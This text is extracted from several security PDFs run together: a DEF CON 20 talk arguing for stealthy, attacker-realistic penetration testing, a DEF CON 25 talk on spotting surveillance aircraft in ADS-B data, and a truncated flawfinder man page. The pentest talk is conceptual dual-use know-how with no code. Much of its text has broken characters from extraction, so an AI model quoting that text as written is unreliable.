dollars-worth-of-computer-vulnerabilities 17. http://www.sfchronicle.com/business/article/NSA-reveals-hundreds-of-bugs-a-year-says-former-7396429.php 18. Email from General Michael Hayden to Jason Healey, July 2016 19. http://www.bloomberg.com/news/articles/2016-03-23/thank-you-for-hacking-iphone-now-tell-apple-how-you-did-it 20. https://users.ece.cmu.edu/~tdumitra/public_documents/bilge12_zero_day.pdf 21. https://en.wikipedia.org/wiki/NSA_ANT_catalog 22. http://motherboard.vice.com/read/gchq-vulnerabilities-mozilla-apple 23. http://mobile.reuters.com/article/idUSKCN0SV2XQ20151107 24. http://belfercenter.ksg.harvard.edu/files/vulnerability-disclosure-web-final3.pdf THANK YOU @JASON_HEALEY This research was funded in part by Columbia University’s Global Policy Initiative and the Carnegie Corporate of New York
pdf
Christopher  Pogue  is  the  Managing  Consultant  of  the  SpiderLabs  Incident  Response and  Digital  Forensics  team.  Having  served  as  a  US  Army  Signal  Corps  Warrant  Officer, he  worked  on  digital  forensic  invesIgaIons  and  as  Cyber  Security  Instructor.  Pogue joined  the  IBM  Internet  Security  Systems  (ISS)  X-­‐Force  aPer  leaving  the  military.  As  a PenetraIon  Tester  and  Forensic  InvesIgator  with  IBM,  he  performed  over  300 penetraIon  tests  and  50  invesIgaIons.  In  his  role  with  SpiderLabs,  Pogue  leads  the team  that  performs  invesIgaIons  all  over  the  United  States,  Central  and  South America,  and  the  Caribbean  Islands.  He  also  assists  local,  state,  and  federal  law enforcement  agencies  with  cases  involving  digital  media. Tim  MaleIc  is  a  Senior  Security  Consultant  within  the  PenetraIon  TesIng  team  at Trustwave's  SpiderLabs.  Tim  has  been  working  in  IT  since  the  birth  of  the  web,  and has  been  focused  full-­‐Ime  on  informaIon  security  since  2001.  Prior  to  joining Trustwave,  Tim  held  posiIons  as  Senior  UNIX  Engineer,  Senior  Security  Engineer,  and InformaIon  Security  Officer. 1 7/29/12 Trustwave  SpiderLabs DEF  CON  20 Welcome! We’re  very  excited  to  have  this  opportunity  to  share  some  ideas  about  pushing  incident response,  forensics,  and  penetraIon  tesIng  to  the  next  level. We  are  honored,  and  humbled,  to  present  to  a  DEF  CON  audience.  Our  mission  is  to  inspire network  defenders  and  a`ackers  to  work  more  closely  together  to  make  each  other  be`er. We’ll  finish  off  the  session  with  a  giant  group  hug  and  a  few  rounds  of  “Kum  ba  ya”!   But  first  we’re  going  to  introduce  ourselves  and  our  methods  and  the  problems  we  see ourselves  trying  to  address.  We’ll  then  give  a  quick,  advanced  introducIon  to  the  forensics methodology  we  call  “Sniper  Forensics”.  We’ll  follow  that  up  with  our  contribuIons  to  what we’re  calling  the  “Real-­‐World  PenetraIon  TesIng”  movement. Next  we’re  going  to  show  how  we  are  applying  these  ideas  in  context  by  stepping  through some  sample  a`acks  that  do  and  do  not  exemplify  our  methods. Then  we’ll  wrap-­‐up  with  the  hugs  and  songs. 2 7/29/12 Trustwave  SpiderLabs DEF  CON  20 3 7/29/12 Trustwave  SpiderLabs DEF  CON  20 State  of  IR  &  Forensics •   FighIng  the  uphill  ba`le  of  completely  changing  the  mindset  of  the  digital  forensic  discipline •   Cops  are  good  at  being  cops,  WE  are  good  at  being  computer  engineers  –  every  so  oPen,  we  get hybrids  –  LEs  who  are  actually  techie •   Constantly  evolving  data  sample  –  new  systems  mean  new  a`acks  –  means  research  –  if  I  haven’t seen  it  before…then  what? •   Proof  of  concept  exercises  with  Pentest…opens  Forensics  up  to  the  larger  world  of  digital  whodunit State  of  pentesIng •  We  are  sploit  happy.  I  use  “sploit”  to  mean  exploits  that  take  advantage  of  memory  corrupIon bugs.  About  75%  of  the  stuff  living  under  the  exploit  tree  in  metasploit.  I  am  re-­‐appropriaIng  the term  “exploit”  to  mean  all  the  exploits  that  aren’t  “sploits”.  Note  that  this  is  usage  is  running opposite  to  current  trends.  But  I  think  it’s  important.  Language  shapes  our  reality.  If  you  heard Richard  Thieme  yesterday  then  I  can  rest  my  case.  More  on  this  later. •  I’m  going  to  be  arguing  throughout  this  talk  that  we  can  –  mostly  –  ignore  sploits  and  instead  focus on  exploits. •  The  way  we  scope  and  perform  and  document  penetraIon  tests  are  pushing  us  further  and  further away  from  modeling  real-­‐world  a`acks. •  The  genesis  of  the  OPFOR  idea  was  simple.  I  presented  to  Grrcon  on  the  results  of  a  pet  project  to catalog  SpiderLabs’  most  successful  (i.e.,  most  commonly  used  and  producIve)  internal  network a`ack  techniques.  A  couple  talks  later,  my  friend  Tim  Crothers,  then  doing  Incident  Response  for GE  gave  an  awesome  presentaIon  where  he  stepped  through  keystrokes  captured  from  a  live  C&C server  of  an  a`acker  manually  exploiIng  an  internal  network.  There  was  a  high  degree  of  overlap between  the  a`acker’s  methods,  and  the  methods  I  was  recommending,  and  I  thought  that  fact was  very  interesIng.  So  here  we  are. 4 7/29/12 Trustwave  SpiderLabs DEF  CON  20 When  I  explained  what  I  wanted  to  do  to  Chris,  he  said:  “Oh,  OPFOR.  Cool.”  I’m  not  ex-­‐ military,  and  I’m  not  a  computer  gamer,  so  I  had  to  go  look  that  up.  Is  there  anyone  *else*  in this  room  who  would  have  to  look  that  acronym  up?  I  thought  not. But  I  know  how  to  use  google,  so  I  read  up  on  some  unclassified  US  Army  training  manuals  on OPFOR.  An  OPFOR  is  basically  what  we  think  of  as  a  red  team.  But  of  course  as  applied  by the  US  Army,  it’s  huge.  They’ll  represent  real  opponents  or  ficIonal  opponents.  They  get accredited.  They’re  just  one  part  of  an  exercise  that  also  includes  poliIcal,  social, geographical  and  other  elements.  In  fact,  informaIon  warfare  tacIcs  may  be  one  part  of  an OPFOR  exercise. In  contrast,  a  Red  Team  typically  consists  of  a  much  smaller  number  of  players,  and  targets not  a  military  force,  but  an  organizaIon,  facility  or  security  system.  A  straighqorward example  is  the  use  of  a  Red  Team  to  test  TSA  procedures  at  a  parIcular  airport.  The  goal  of  a Red  Team  is  to  measure  the  state  of  the  system.  Is  it  prepared  to  defend  against  a`ack  type X? I  prefer  the  goal  of  the  OPFOR,  which  is  essenIally  training  –  giving  human  beings  something that’s  as  close  to  real-­‐world  experience  as  we  can  get. The  asymmetrical  nature  of  dealing  with  a  Red  Team  more  naturally  lines  up  with  a`acks  of opportunity,  where  early  detecIon  is  the  key.  As  targeted  a`acks  become  more  common,  I think  we’ll  see  a  move  to  the  OPFOR  concept  where  the  Blue  Team  must  take  the  ba`le  to 5 7/29/12 Trustwave  SpiderLabs DEF  CON  20 By  “OPFOR  4Ever”,  we  mean  applying  the  OPFOR  concept  to  informaIon  security a`ack  and  defense  so  as  to  create  a  conInuous  feedback  loop  between  these  two communiIes. Pentesters  train  defenders,  but  equally  the  defenders  must  train  the  opposing  force. Also,  we’re  not  talking  about  some  once-­‐a-­‐year  exercise,  but  a  constant  mode  of operaIon.  For  organizaIons  with  both  a`ack  and  defense  capabiliIes,  this  is  simply a  call  for  more  communicaIon  and  cross-­‐training.  For  organizaIons  with  only  one capability  or  the  other,  it  means  finding  ways  to  interact  with  the  wider  community to  share  results  and  learn  from  others. 6 7/29/12 Trustwave  SpiderLabs DEF  CON  20 7 7/29/12 Trustwave  SpiderLabs DEF  CON  20 8 7/29/12 Trustwave  SpiderLabs DEF  CON  20 7/29/12 Trustwave  SpiderLabs DEF  CON  20 7/29/12 10 DEF  CON  20 Trustwave  SpiderLabs 7/29/12 11 DEF  CON  20 Trustwave  SpiderLabs 7/29/12 12 DEF  CON  20 Trustwave  SpiderLabs 7/29/12 13 DEF  CON  20 Trustwave  SpiderLabs 7/29/12 14 DEF  CON  20 Trustwave  SpiderLabs 7/29/12 15 DEF  CON  20 Trustwave  SpiderLabs 7/29/12 16 DEF  CON  20 Trustwave  SpiderLabs First  let  me  explain  what  I  mean  by  “real-­‐world”  here.  We  have  to  remember  that  a penetraIon  test  is  a  model  of  something  else,  and  its  value  is  related  to  how  close  or far  away  the  model  is  from  reality.  So  by  “real-­‐world  pentesIng”  I  don’t  mean “pentesIng  like  the  real  pentesters  do  it”.  I  mean  “pentesIng  like  the  real  a`ackers do  it”.  Or  simply  a  return  to  the  roots,  where  we  pay  parIcular  a`enIon  to  the differences  between  the  model  and  the  real  world. 17 7/29/12 Trustwave  SpiderLabs DEF  CON  20 Consider  how  white  hats  choose  exploits  to  defend  against. Over  the  years  there  have  been  many  systems  proposed  to  rank  the  severity  of  a vulnerability.  MicrosoP  sIll  ranks  their  patches  as  CriIcal,  Important,  Moderate,  or Low. CERT  once  used  a  number  between  0-­‐180  based  on  factors  like:  is  it  known,  is  it  being exploited,  is  the  Internet  at  risk,  and  so  on? But  now  we  have  one  scoring  system  to  rule  them  all:  CVSS. 18 7/29/12 Trustwave  SpiderLabs DEF  CON  20 Based  on  my  observaIons  from  my  pentesIng  experience,  and  cross-­‐referenced against  research  from  the  incident  response  community,  I  see… Four  of  the  biggest  factors  are: •  Safety:  the  a`ack  doesn’t  harm  the  target  –  ever  (for  2  reasons:  stealth  + reusability) •  Power:  the  a`ack  gives  the  a`acker  leverage  to  carry  out  further  a`acks •  Invisibility:  the  a`ack  may  be  detectable,  but  is  rarely  detected  (in  Ime) •  Frequency:  the  a`ack  targets  a  relaIvely  common  vulnerability  in  a  relaIvely common  target NoIce  that  Safety,  Power,  and  Invisibility  are  completely  missed  by  CVSS. 19 7/29/12 Trustwave  SpiderLabs DEF  CON  20 If  you  spend  much  Ime  looking  at  CVE  data,  it’s  easy  to  slip  into  the  view  that “vulnerability”  ==  “that  which  can  be  patched”.  But  there’s  a  trivial  proof  that  this  is false. It’s  past  Ime  we  turned  more  a`enIon  to  vulnerabiliIes  that  only  exist  on  internal networks.  If  there’s  a  moral  to  be  learned  from  the  2011  RSA  hack,  it’s  that  we  are *all*  one  phishing  campaign  away  from  a  remote-­‐controlled  instance  of  BackTrack  on our  network. And  for  an  example  of  a`ack-­‐chains,  think  about  the  lowly  NetBIOS  null  session enumeraIon  a`ack  and  what  you  can  do  with  that  data. 20 7/29/12 Trustwave  SpiderLabs DEF  CON  20 In  the  last  couple  months  the  CVE  database  crossed  the  50,000  vulnerability threshold.  But  there  are  vastly  more  vulnerabiliIes  than  there  are  CVEs.  Here’s  one example:  ARP  cache  poisoning.  (It  achieved  CVE  candidate  status  in  1999,  and  never got  beyond  that.)  CVSS  is  focused  on  vulns  that  have  sploits,  and  so  is  missing  what  I think  is  the  most  important  part  of  the  picture. CVSS  needs  a  way  to  disInguish  whether  the  vuln  is  exploitable  over  the  Internet  vs. over  an  internal  network,  and  then  focus  energy  on  cataloging  internal  vulns. CVSS  needs  combinatorics  –  some  way  to  show  how  a  chain  of  “low-­‐risk” vulnerabiliIes  can  lead  to  a  major  problem.  Something,  perhaps,  like  an  upside-­‐ down  a`ack  tree. (I  don’t  believe  CAPAC  is  the  answer  here.  The  “a`ack  pa`erns”  covered  by  CAPAC are  not  the  “chain  of  separate  a`acks”  I’m  speaking  of  here,  but  are  instead something  like  “the  pa`ern  all  SQL  injecIon  a`acks  follow”.) 21 7/29/12 Trustwave  SpiderLabs DEF  CON  20 Our  new  goals  are  using  principles  of  stealth  to  mimic  real  a`acks.  Real  a`acks  are blended,  and  exfiltrate  data. Safety  is  implied  –  we  sort  of  get  it  for  free,  since  you  can’t  be  stealthy  is  safety  isn’t  a concern.  But  we  get  other  benefits  from  safety.  We  get  to  expand  our  pentest  scope to  a  realisIc  class  of  targets,  since  we’ll  be  able  to  convince  our  clients  that  safety  is the  first  priority. Think  of  the  airsoP  guns  and  biodegradable  ammo  used  by  today’s  OPFORs.  We don’t  want  to  take  down  the  people  we’re  trying  to  train.  But  on  the  other  hand  you do  work  together  to  set  realisIc  boundaries.  You  don’t  run  an  OPFOR  exercise  in  an urban  area. 22 7/29/12 Trustwave  SpiderLabs DEF  CON  20 Yes,  shells  are  cool.  But  we  shouldn’t  be  geyng  paid  pentest  consulIng  dollars  to produce  shells. 23 7/29/12 Trustwave  SpiderLabs DEF  CON  20 Blackhats  don’t  heart  shells.  They  heart  credit  cards.  They  heart  RSA  secrets.  They heart  product  designs.  They  heart  data  that  can  be  moneIzed. Those  of  you  who  heart  shells  may  be  thinking  “why  try  to  make  pentests  more  like actual  a`acks?” •  Because  doing  so  places  the  focus  back  on  the  data •  Because  doing  so  allows  your  incident  responders  to  see  more  realisIc  data •  Because  we  want  the  pentesters  scope  equivalent  to  the  blackhats  scope  (which we  get  by  sIcking  to  the  rule  of  “safety  first”) 24 7/29/12 Trustwave  SpiderLabs DEF  CON  20 Of  course  I’m  not  alone  in  calling  for  more  realisIc  penetraIon  tesIng.  Much  of  my thinking  on  this  topic  has  been  influenced  by  HD  Moore’s  and  Valsmith’s  classes  on “TacIcal  ExploitaIon”.  I’m  not  sure  when  they  started  these  classes  up,  but  they presented  on  it  at  DEF  CON  15.  HD  carried  on  this  theme  is  his  talk  at  SECTOR  2010. NoIce  what  these  guys  say  about  “exploits”  –  or  what  I’m  calling  “sploits”. 25 7/29/12 Trustwave  SpiderLabs DEF  CON  20 Valsmith  brings  this  up  again  in  2011,  and  irks  Dave  Aitel  enough  to  make  him respond. Valsmith  points  out  how  the  exploits  he  favors  –  logic  flaws,  bad  protocol  design  and such  –  have  a  much  longer  shelf-­‐life  than  sploits  have.  This  is  because  sploits  get patched.  Because  memory  corrupIon  bugs  are  relaIvely  easy  to  patch  versus protocol  design  issues.  This  lines  up  nicely  with  one  of  the  recurring  themes  from  the SpiderLabs  Global  Security  Report:  by  focusing  on  exploits,  instead  of  sploits,  we  are frequently  taking  advantage  of  ancient  flaws,  like  ARP  and  NetBIOS.  Oh,  and passwords. Haron  Meer’s  talk  from  44Con  is  a  good  example  of  someone  arguing  explicitly  for real-­‐world  penetraIon  tesIng  *and*  the  use  of  sploits.  But  I  don’t  want  the  debate to  revolve  around  the  “sploits  are  good”  vs  “sploits  are  bad”  argument.  What  I’m arguing  for  is  “safety  first”,  so  if  you  can  convince  me  your  sploit  won’t  knock  over  my target,  I’ll  happily  use  it.  Meer’s  soluIon  is  for  sploits  is  to  be  able  to  play  them  like  a trump  card  in  a  hybrid  table-­‐top  exercise.  His  reasoning  stems  from  his  analysis  of the  economics  of  0days,  but  it  works  just  a  well  if  your  concern  is  stealth  and  safety. 26 7/29/12 Trustwave  SpiderLabs DEF  CON  20 28 7/29/12 Trustwave  SpiderLabs DEF  CON  20 29 7/29/12 Trustwave  SpiderLabs DEF  CON  20 30 7/29/12 Trustwave  SpiderLabs DEF  CON  20 31 7/29/12 Trustwave  SpiderLabs DEF  CON  20 32 7/29/12 Trustwave  SpiderLabs DEF  CON  20 33 7/29/12 Trustwave  SpiderLabs DEF  CON  20 34 7/29/12 Trustwave  SpiderLabs DEF  CON  20 35 7/29/12 Trustwave  SpiderLabs DEF  CON  20 36 7/29/12 Trustwave  SpiderLabs DEF  CON  20 37 7/29/12 Trustwave  SpiderLabs DEF  CON  20
pdf
TRACKING SPIES IN THE SKIES ABOUT THE TALK LAW ENFORCEMENT AND AERIAL SURVEILLANCE History of aerial surveillance (Sam Richards) Technology on spy planes (Jerod MacDonald-Evoy) Detecting surveillance aircraft (Jason Hernandez) HISTORY OF THE SKY SPIES Odd plane patterns noticed, WSJ, Baltimore r/conspiracy (John Wiesman - ADSB Detection) Citizen journalists (Sam Richards) #FBISkySpies and 100 Tail- numbers, links to FlightRadar24 tracks SKY SPIES 101 Sam's story goes viral, a week later AP breaks it into the mainstream Sen. Franken calls for investigation (nothing happens) FBI Planes hidden behind front companies (FVX Research, et. al) WHAT WE KNOW TYPES OF AIRCRAFT Small xed wing (Cessnas) Large dual engine (Beechcraft) Military style (Pilatus) Helicopters Drones (Small and Large) EQUIPMENT Wescam by L3 Communications FLIR SAFIRE IMSI Catchers LETC Devices EXAMPLES OF USE FBI Aerial Surveillance of Freddie Grey protests FBI Aerial Surveillance of Arizona I-10 shooter suspect's apartment Phoenix PD used Pilatus to follow U-haul thief 'Persistent Surveillance Solutions' HIDDEN IN PLANE SIGHT FBI, CBP, DEA and DOJ use of front companies $10 FAA records request reveals equipment The Delaware problem PHOENIX PD PLANE UHaul Chase Phoenix PD FOOTAGE OBTAINED VIA PUBLIC RECORDS REQUEST TRACKING THE SKY SPIES How do we more generally detect surveillance aircraft and activity? Registrations can be changed and obscured Many surveillance technologies are commercially available How much surveillance is happening in other parts of the world? Technical and operational requirements dictate ight patterns Surveillance ights look very dierent from most other trac HOW DO WE TRACK AIRCRAFT? Radar is not practical ADS-B messages are the way to go Active community of radio / aviation / hacking enthusiasts collect ADS-B data Requires a Raspberry Pi 1B+, an RTL-SDR radio, antenna, and internet connection Multiple aggregators collect data FlightRadar24.com, FlightAware.com, adsbexchange.com FAA regulations require an increasing number of aircraft to transmit ADS-B Part of the "NextGen" program Similar regulations in .EU, .IN, .AU, elsewhere ADS-B DATA Aircraft transmit a beacon signal with a unique ICAO number Positions can be calculated with multilateration Compare time dierence of messages arriving at multiple receivers Requires 4+ receivers for accurate calculation Aggregator networks collect feeds from ADS-B receivers and calculate aircraft positions Some aircraft also transmit additional information: (latitude / longitude), call sign, etc. Currently not required, and location may not be accurate LIMITATIONS TO DATA Major commercial ight tracking sites augment their data with FAA radar data This data comes with restrictions that tracking sites do not publish positions of aircraft on the FAA's ASDI block list Bulk access to data is limited or expensive ADS-B Exchange is an exception Does not use FAA data, does not censor ights Provides free access to live & historical data Data challenges Donation info on their site PICKING SURVEILLANCE FLIGHTS FROM A FIREHOSE OF DATA There are over 80,000 ights a day At any given time 8,000~13,000 aircraft are in the air Most of these are not surveillance ights How do we pick out the surveillance ights? SURVEILLANCE FLIGHTS VS. OTHERS Most non-surveillance trac goes from point A to B as quickly and directly as possible Minimizes ying over populated areas and crossing in to airports' controlled airspace Exceptions - holding patterns, ight schools, aerial surveys TECHNICAL CONSTRAINTS OF SURVEILLANCE FLIGHTS Technical and economic constraints result in relatively unique ight patterns for surveillance Cell site simulators - range of ~2 miles FLIR (infrared) cameras Surveillance ights often take o and land at the same airport Cover densely populated metro areas Visual surveillance - needs daylight Electronic surveillance - cover of night preferred Altitude "sweet spot" PATTERN BASED DETECTION Surveillance ights make a large number of turns Most ights with 30+ turns "look" like surveillance ights Limitations & future improvement SURVEILLANCE SCORE METHODOLOGY Calculate headings of each aircraft and increase the score each time it changes > 90 degrees Conditional based on altitude Sweet spot is appx. 6,000 - 12,000 ft Future renements: Consider proximity to airports and controlled airspace (needs good airspace data, may be compute intensive) Score based on aircraft model Additional geometric calulations to lter out survey activity Compare ights to interesting geography -- borders, events, etc. IMPLEMENTATION Virtual Radar Server ( ) with connection to adsbexchange.com 's live data feed Analysis / tracking code to be released today pulls ight trails from local Virtual Radar Server JSON endpoint Flight data queued in RabbitMQ and composed in Redis Uses multiple cores and ight analysis can be distributed to multiple machines Completed ights stored for retrospective analysis Flight paths for each suspicious aircraft exported as JSON les Upload to object storage (AWS S3) Viewable in a basic leaet.js web map http://www.virtualradarserver.co.uk EXAMPLE CONCLUSION Many surveillance technologies improve with Moore's Law Policies and oversight have not moved as quickly You can work on tracking spy planes Use, fork, and improve our application Set up your own receiver and feed to adsbexchange.com and any future open ADS-B aggregators MORE INFO: github.com/nstarpost twitter.com/nstarpost For the most accurate / up to date copy of this presentation, see https://www.nstarpost.com https://www.nstarpost.com/defcon-25/
pdf
FLAWFINDER(1) Flawfinder FLAWFINDER(1) NAME flawfinder − lexically find potential security flaws ("hits") in source code SYNOPSIS flawfinder [−−help|−h] [−−version] [−−listrules] [−−allowlink] [−−followdotdir] [−−nolink] [−−patch=filename|−P filename] [−−inputs|−I] [ −−minlevel=X | −m X ] [−−falsepositive|−F] [−−neverignore|−n] [−−regex=PA TTERN | −e PA TTERN] [−−context|−c] [−−columns|−C] [−−csv] [−−dataonly|−D] [−−html|−H] [−−immediate|-i] [−−single- line|−S] [−−omittime] [−−quiet|−Q] [−−loadhitlist=F] [−−savehitlist=F] [−−diffhitlist=F] [−−] [ source code file or source root directory ]+ DESCRIPTION Flawfinder searches through C/C++ source code looking for potential security flaws. To run flawfinder, simply give flawfinder a list of directories or files. For each directory given, all files that have C/C++ file- name extensions in that directory (and its subdirectories, recursively) will be examined. Thus, for most projects, simply give flawfinder the name of the source code’s topmost directory (use ‘‘.’’ for the current directory), and flawfinder will examine all of the project’s C/C++ source code. Flawfinder does not require that you be able to build your software, so it can be used even with incomplete source code. If you only want to have changes reviewed, save a unified diff of those changes (created by GNU "diff -u" or "svn diff" or "git diff") in a patch file and use the −−patch (−P) option. Flawfinder will produce a list of ‘‘hits’’ (potential security flaws, also called findings), sorted by risk; the riskiest hits are shown first. The risk level is shown inside square brackets and varies from 0, very little risk, to 5, great risk. This risk level depends not only on the function, but on the values of the parameters of the function. For example, constant strings are often less risky than fully variable strings in many contexts, and in those contexts the hit will have a lower risk level. Flawfinder knows about gettext (a common library for internationalized programs) and will treat constant strings passed through gettext as though they were constant strings; this reduces the number of false hits in internationalized programs. Flawfinder will do the same sort of thing with _T() and _TEXT(), common Microsoft macros for handling internationalized programs. Flawfinder correctly ignores text inside comments and strings. Normally flawfinder shows all hits with a risk level of at least 1, but you can use the −−minlevel option to show only hits with higher risk levels if you wish. Hit descriptions also note the relevant Common Weakness Enumeration (CWE) identi- fier(s) in parentheses, as discussed below. Flawfinder is officially CWE-Compatible. Hit descriptions with "[MS-banned]" indicate functions that are in the banned list of functions released by Microsoft; see http://msdn.microsoft.com/en-us/library/bb288454.aspx for more information about banned functions. Not every hit (aka finding) is actually a security vulnerability, and not every security vulnerability is neces- sarily found. Nevertheless, flawfinder can be an aid in finding and removing security vulnerabilities. A common way to use flawfinder is to first apply flawfinder to a set of source code and examine the highest- risk items. Then, use −−inputs to examine the input locations, and check to make sure that only legal and safe input values are accepted from untrusted users. Once you’ve audited a program, you can mark source code lines that are actually fine but cause spurious warnings so that flawfinder will stop complaining about them. To mark a line so that these warnings are suppressed, put a specially-formatted comment either on the same line (after the source code) or all by itself in the previous line. The comment must have one of the two following formats: • // Flawfinder: ignore • /* Flawfinder: ignore */ For compatibility’s sake, you can replace "Flawfinder:" with "ITS4:" or "RATS:" in these specially-format- ted comments. Since it’s possible that such lines are wrong, you can use the −−neverignore option, which causes flawfinder to never ignore any line no matter what the comment directives say (more confusingly, −−neverignore ignores the ignores). Flawfinder 26 Aug 2017 1 FLAWFINDER(1) Flawfinder FLAWFINDER(1) Flawfinder uses an internal database called the ‘‘ruleset’’; the ruleset identifies functions that are common causes of security flaws. The standard ruleset includes a large number of different potential problems, including both general issues that can impact any C/C++ program, as well as a number of specific Unix-like and Windows functions that are especially problematic. The −−listrules option reports the list of current rules and their default risk levels. As noted above, every potential security flaw found in a given source code file (matching an entry in the ruleset) is called a ‘‘hit,’’ and the set of hits found during any particular run of the program is called the ‘‘hitlist.’’ Hitlists can be saved (using −−savehitlist), reloaded back for redisplay (using −−loadhitlist), and you can show only the hits that are different from another run (using −−diffhitlist). Flawfinder is a simple tool, leading to some fundamental pros and cons. Flawfinder works by doing simple lexical tokenization (skipping comments and correctly tokenizing strings), looking for token matches to the database (particularly to find function calls). Flawfinder is thus similar to RATS and ITS4, which also use simple lexical tokenization. Flawfinder then examines the text of the function parameters to estimate risk. Unlike tools such as splint, gcc’s warning flags, and clang, flawfinder does not use or have access to infor- mation about control flow, data flow, or data types when searching for potential vulnerabilities or estimating the level of risk. Thus, flawfinder will necessarily produce many false positives for vulnerabilities and fail to report many vulnerabilities. On the other hand, flawfinder can find vulnerabilities in programs that can- not be built or cannot be linked. It can often work with programs that cannot even be compiled (at least by the reviewer’s tools). Flawfinder also doesn’t get as confused by macro definitions and other oddities that more sophisticated tools have trouble with. Flawfinder can also be useful as a simple introduction to static analysis tools in general, since it is easy to start using and easy to understand. Any filename given on the command line will be examined (even if it doesn’t hav e a usual C/C++ filename extension); thus you can force flawfinder to examine any specific files you desire. While searching directo- ries recursively, flawfinder only opens and examines regular files that have C/C++ filename extensions. Flawfinder presumes that files are C/C++ files if they hav e the extensions ".c", ".h", ".ec", ".ecp", ".pgc", ".C", ".cpp", ".CPP", ".cxx", ".cc", ".CC", ".pcc", ".hpp", or ".H". The filename ‘‘−’’ means the standard input. To prevent security problems, special files (such as device special files and named pipes) are always skipped, and by default symbolic links are skipped (the −−allowlink option follows symbolic links). After the list of hits is a brief summary of the results (use -D to remove this information). It will show the number of hits, lines analyzed (as reported by wc −l), and the physical source lines of code (SLOC) ana- lyzed. A physical SLOC is a non-blank, non-comment line. It will then show the number of hits at each level; note that there will never be a hit at a level lower than minlevel (1 by default). Thus, "[0] 0 [1] 9" means that at level 0 there were 0 hits reported, and at level 1 there were 9 hits reported. It will next show the number of hits at a given lev el or larger (so level 3+ has the sum of the number of hits at level 3, 4, and 5). Thus, an entry of "[0+] 37" shows that at level 0 or higher there were 37 hits (the 0+ entry will always be the same as the "hits" number above). Hits per KSLOC is next shown; this is each of the "level or higher" values multiplied by 1000 and divided by the physical SLOC. If symlinks were skipped, the count of those is reported. If hits were suppressed (using the "ignore" directive in source code comments as described above), the number suppressed is reported. The minimum risk level to be included in the report is displayed; by default this is 1 (use −−minlevel to change this). The summary ends with important reminders: Not every hit is necessarily a security vulnerability, and there may be other security vulnerabili- ties not reported by the tool. Flawfinder is released under the GNU GPL license version 2 or later (GPLv2+). Flawfinder works similarly to another program, ITS4, which is not fully open source software (as defined in the Open Source Definition) nor free software (as defined by the Free Software Foundation). The author of Flawfinder has never seen ITS4’s source code. Flawfinder is similar in many ways to RATS, if you are familiar with RATS. BRIEF TUTORIAL Here’s a brief example of how flawfinder might be used. Imagine that you have the C/C++ source code for some program named xyzzy (which you may or may not have written), and you’re searching for security vulnerabilities (so you can fix them before customers encounter the vulnerabilities). For this tutorial, I’ll Flawfinder 26 Aug 2017 2 FLAWFINDER(1) Flawfinder FLAWFINDER(1) assume that you’re using a Unix-like system, such as Linux, OpenBSD, or MacOS X. If the source code is in a subdirectory named xyzzy, you would probably start by opening a text window and using flawfinder’s default settings, to analyze the program and report a prioritized list of potential secu- rity vulnerabilities (the ‘‘less’’ just makes sure the results stay on the screen): flawfinder xyzzy | less At this point, you will see a large number of entries. Each entry has a filename, a colon, a line number, a risk level in brackets (where 5 is the most risky), a category, the name of the function, and a description of why flawfinder thinks the line is a vulnerability. Flawfinder normally sorts by risk level, showing the riski- est items first; if you have limited time, it’s probably best to start working on the riskiest items and continue until you run out of time. If you want to limit the display to risks with only a certain risk level or higher, use the −−minlevel option. If you’re getting an extraordinary number of false positives because variable names look like dangerous function names, use the −F option to remove reports about them. If you don’t understand the error message, please see documents such as the Writing Secure Pro grams HOWTO 〈http://www.dwheeler.com/secure-programs〉 at http://www.dwheeler.com/secure-programs which provides more information on writing secure programs. Once you identify the problem and understand it, you can fix it. Occasionally you may want to re-do the analysis, both because the line numbers will change and to make sure that the new code doesn’t introduce yet a different vulnerability. If you’ve determined that some line isn’t really a problem, and you’re sure of it, you can insert just before or on the offending line a comment like /* Flawfinder: ignore */ to keep them from showing up in the output. Once you’ve done that, you should go back and search for the program’s inputs, to make sure that the pro- gram strongly filters any of its untrusted inputs. Flawfinder can identify many program inputs by using the −−inputs option, like this: flawfinder −−inputs xyzzy Flawfinder can integrate well with text editors and integrated development environments; see the examples for more information. Flawfinder includes many other options, including ones to create HTML versions of the output (useful for prettier displays). The next section describes those options in more detail. OPTIONS Flawfinder has a number of options, which can be grouped into options that control its own documentation, select input data, select which hits to display, select the output format, and perform hitlist management. The commonly-used flawfinder options support the standard option syntax defined in the POSIX (Issue 7, 2013 Edition) section ‘‘Utility Conventions’’. Flawfinder also supports the GNU long options (double-dash options of form −−option) as defined in the GNU C Library Reference Manual ‘‘Program Argument Syntax Conventions’’ and GNU Coding Standards ‘‘Standards for Command Line Interfaces’’. Long option argu- ments can be provided as ‘‘--name=value’’ or ‘‘-name value’’. All options can be accessed using the more readable GNU long option conventions; some less commonly used options can only be accessed using long option conventions. Documentation −−help −h Show usage (help) information. −−version Shows (just) the version number and exits. Flawfinder 26 Aug 2017 3 FLAWFINDER(1) Flawfinder FLAWFINDER(1) −−listrules List the terms (tokens) that trigger further examination, their default risk level, and the default warning (including the CWE identifier(s), if applicable), all tab-separated. The terms are primarily names of potentially-dangerous functions. Note that the reported risk level and warning for some specific code may be different than the default, depending on how the term is used. Combine with −D if you do not want the usual header. Flawfinder version 1.29 changed the separator from spaces to tabs, and added the default warning field. Selecting Input Data −−allowlink Allow the use of symbolic links; normally symbolic links are skipped. Don’t use this option if you’re analyzing code by others; attackers could do many things to cause problems for an analysis with this option enabled. For example, an attacker could insert symbolic links to files such as /etc/passwd (leaking information about the file) or create a circular loop, which would cause flawfinder to run ‘‘forever’’. Another problem with enabling this option is that if the same file is referenced multiple times using symbolic links, it will be analyzed multi- ple times (and thus reported multiple times). Note that flawfinder already includes some protection against symbolic links to special file types such as device file types (e.g., /dev/zero or C:\mystuff\com1). Note that for flawfinder version 1.01 and before, this was the default. −−followdotdir Enter directories whose names begin with ".". Normally such directories are ignored, since they normally include version control private data (such as .git/ or .svn/), build metadata (such as .makepp), configuration information, and so on. −−nolink Ignored. Historically this disabled following symbolic links; this behavior is now the default. −−patch=patchfile −P patchfile Examine the selected files or directories, but only report hits in lines that are added or modi- fied as described in the given patch file. The patch file must be in a recognized unified diff format (e.g., the output of GNU "diff -u old new", "svn diff", or "git diff [commit]"). Flawfinder assumes that the patch has already been applied to the files. The patch file can also include changes to irrelevant files (they will simply be ignored). The line numbers given in the patch file are used to determine which lines were changed, so if you have modi- fied the files since the patch file was created, regenerate the patch file first. Beware that the file names of the new files given in the patch file must match exactly, including upper/lower case, path prefix, and directory separator (\ vs. /). Only unified diff format is accepted (GNU diff, svn diff, and git diff output is okay); if you have a different format, again regenerate it first. Only hits that occur on resultant changed lines, or immediately above and below them, are reported. This option implies −−neverignore. Warning: Do not pass 